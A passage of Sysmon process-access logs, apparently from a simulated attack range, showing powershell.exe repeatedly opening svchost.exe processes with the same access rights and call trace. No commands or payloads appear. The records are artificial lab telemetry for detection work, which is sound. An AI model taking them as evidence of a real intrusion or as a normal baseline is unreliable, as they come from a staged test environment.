C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD3-5F2D-0000-0010BDA90000}","TargetProcessId":"628","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041C30000}\r\nTargetProcessId: 1212\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041C30000}","TargetProcessId":"1212","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00103DC30000}\r\nTargetProcessId: 1220\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00103DC30000}","TargetProcessId":"1220","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00104DCB0000}\r\nTargetProcessId: 1308\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00104DCB0000}","TargetProcessId":"1308","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001081F10000}\r\nTargetProcessId: 1584\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001081F10000}","TargetProcessId":"1584","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assemb